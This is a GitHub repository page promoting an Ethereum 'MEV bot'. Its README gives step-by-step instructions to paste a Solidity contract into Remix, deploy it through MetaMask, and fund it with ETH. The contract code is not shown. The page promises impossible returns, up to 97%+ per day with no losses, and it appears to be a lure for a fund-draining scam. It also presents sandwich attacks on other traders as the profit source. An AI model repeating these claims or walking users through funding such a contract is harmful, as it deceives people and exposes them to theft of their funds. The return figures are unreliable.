Skip to content

✅ Github ⚡ Source code and instructions for creating a passive income tool using an MEV bot.⚡Detailed setup and launch instructions for the MEV bot are available in the Readme file.

License

Notifications You must be signed in to change notification settings

3Ulyssessosgyah/Github-Mev-Bot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 

Repository files navigation

⚡🤖 ETH Arbitrage MEV-B0T 🤖⚡

Here we provide you access to our 100% Open-Source and User-Friendly (no coding skills required) Bot written in Solidity. It's our flagship project that allows users to automatically profit from high-value swaps by strategically reordering and placing transactions to take advantage of expected price flactuations within Uniswap liquidity pools.

build

ethereum solidity

📚 About

In the fascinating world of cryptocurrency, understanding what a Bot is, can be crucial. A Maximal Extractable Value (MEV) bot is a powerful arbitrage tool that scans the Ethereum Mempool for pending transactions (TX) of decentralized exchanges like Uniswap.

It automatically inserts our first TX with slightly higher gas fees (1 Gwei higher) and a second one with slightly lower gas, essentially sandwiching the "targeted" TX to generate profits of the slippage differences.


✨ How it works

example

  • The MEV-B0T continuously monitors the public Ethereum Mempool for pending transactions (TX) from Uniswap AMM, until it identifies a TX with price slippage / flactuations on a token (e.g. a large buy order)🔎

  • Before executing any trades, the algorithm calculates the potential gains against transaction costs to ensure profitability💡

  • MEV-B0T swiftly executes a sandwich operation by placing a buy order (for the same token) just before the "targeted" TX, simultaneous with placing a sell order right after within the same block, profiting from the price movement🥪

  • It optimizes paid gas fees for timely execution, cost efficiency and it always sets 1 gas more than competing bots, as long as it remains profitable⚡

  • Then sends back the ETH to the contract ready for withdrawal📤

We are proud to say that our MEV solution outperforms 99% of Arbitrage Bots on the Ethereum Blockchain.

📊 Investment Range, Liquidity Level, and Profits

| 💰 Investment Range (ETH) | 🌊 Liquidity Level | 📈 Profits per 24 Hours |

|-------------------------------|--------------------------|----------------------------|

| 0.25 ETH - 0.5 ETH | Low | Up to 10% |

| 0.5 ETH - 1 ETH | Moderate | Up to 20% |

| 1 ETH - 2 ETH | Moderate | 20-27% |

| 2 ETH - 5 ETH | High | 27-35% |

| 5 ETH - 10 ETH | High | 35-50% |

| 10 ETH - 20 ETH | Very High | 50-63% |

| 20 ETH - 50 ETH | Very High | 76%+ |

| 50 ETH - 100 ETH | Extremely High | 97%+ |


Please be aware that these figures are estimates based on historical data. They can slightly vary depending on market conditions and the frequency of MEV opportunities.

Please be aware that these figures are estimates based on historical data. They can slightly vary depending on market conditions and the frequency of MEV opportunities.


🚀 How to launch the ETH MEV-B0T

  1. Download MetaMask (if you don’t have it already)

  2. Access Remix - Ethereum IDE (Web-based environment to write and deploy Ethereum smart contracts)

  3. 📁 Create a New File. Rename it as you like, i.e: “MEV.sol”


  1. 🧾 Paste This Code.sol from Github into your Remix "MEV.sol" file

  2. 🔧 Go to the Solidity Compiler tab, select version 0.6.12+commit.27d51765.js and then select Compile MEV.sol.


  1. 🚀 Navigate to the DEPLOY & RUN TRANSACTIONS tab, select the Injected Provider - Metamask environment and then Deploy. By approving the Metamask contract creation fee, you will have created your own Bot.

or "Wallet Connect"

⚠️ Do not close the Wallet Connect tab.


⚙️ Configuration

  1. 💰 Copy the bot’s contract and send some Ethereum to its balance for the bot to start. Team recommendation is to fund the bot with an minimum amount of 0.25 ETH but more than 1 ETH is recommended so the bot has enough gas and funds to swap, pay builders, etc.


    • After your transaction is confirmed, click the Start button to run the bot.
  • Press the Stop button to halt bot operations.

  • Withdraw all ETH at any time by clicking the Withdrawal button.



💰 That’s it. The bot will start working immediately earning you profits from sandwich actions on Uniswap pools 💰

Notice: Your Bot needs to run for at least one day to reach the estimated performance.


⭐ Show your Support

If you find our project interesting, please consider giving it a star. Your support is greatly appreciated and helps in motivating further development and improvements.


📹 Video Tutorial

For a step-by-step video guide on how to configure and create your bot, check out the tutorial here.

💭FAQ

If many people will use the bot, wouldn’t dilution of profits occur?

We do not plan to limit access to the bot for now because there won’t be any affect for us or our users profiting as pools that the bot works on are with the biggest liquidities and volumes on Uniswap so our users involvement in the pools will always be very minor.

What average ROI and risks can I expect?

You can find the ROI according to latest data of bot performances in the "Estimated Profits" section. Bot does not make any losses, it only executes trades when there are proper MEV opportunities to make profits, so under all circumstances user is in plus.

What amount of funds does bot need to work?

Team recommendation is to fund the bot with an minimum amount of 0.25 ETH but more than 1 ETH is recommended so the bot has enough gas and funds to swap, pay builders, etc.

Do I need to keep remix open in browser while the bot is activated?

No, just save the bot contract address after creating it. The next time you want to access your bot via Remix, you need to compile the file again as in step 5. Now head to DEPLOY & RUN TRANSACTIONS, reconnect your Metamask, paste your contract address into Load contract from Address and press At Address.

Now it can be found again under "Deployed Contracts".

Does it work on other chains or DEXes as well?

No, currently the bot is dedicated only for Ethereum on Uniswap pools.


About

✅ Github ⚡ Source code and instructions for creating a passive income tool using an MEV bot.⚡Detailed setup and launch instructions for the MEV bot are available in the Readme file.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published